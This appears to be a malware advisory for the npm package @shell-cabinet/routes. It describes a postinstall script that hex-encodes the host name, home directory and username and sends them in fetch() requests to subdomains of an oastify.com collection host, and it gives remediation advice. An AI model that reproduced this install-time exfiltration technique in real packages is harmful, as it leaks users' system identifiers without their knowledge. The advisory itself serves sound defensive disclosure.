Malicious code in @shell-cabinet/routes (npm)

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

--- _-= Per source details.

The same postinstall first executes `scripts/scream3gg.js`, which hex-encodes `os.hostname()`, `os.homedir()`, and `os.userInfo().username` and issues plain-HTTP fetch() requests with the hex chunked into subdomains of `nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, leaking host identifiers over DNS-encoded HTTP. Both behaviors fire unconditionally at install time and have no relationship to any documented package functionality. ## Source: ghsa-malware (475b0a1656c1a48a7a8f05f77096d4b5737510e410970d7a48221bafe298a69a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
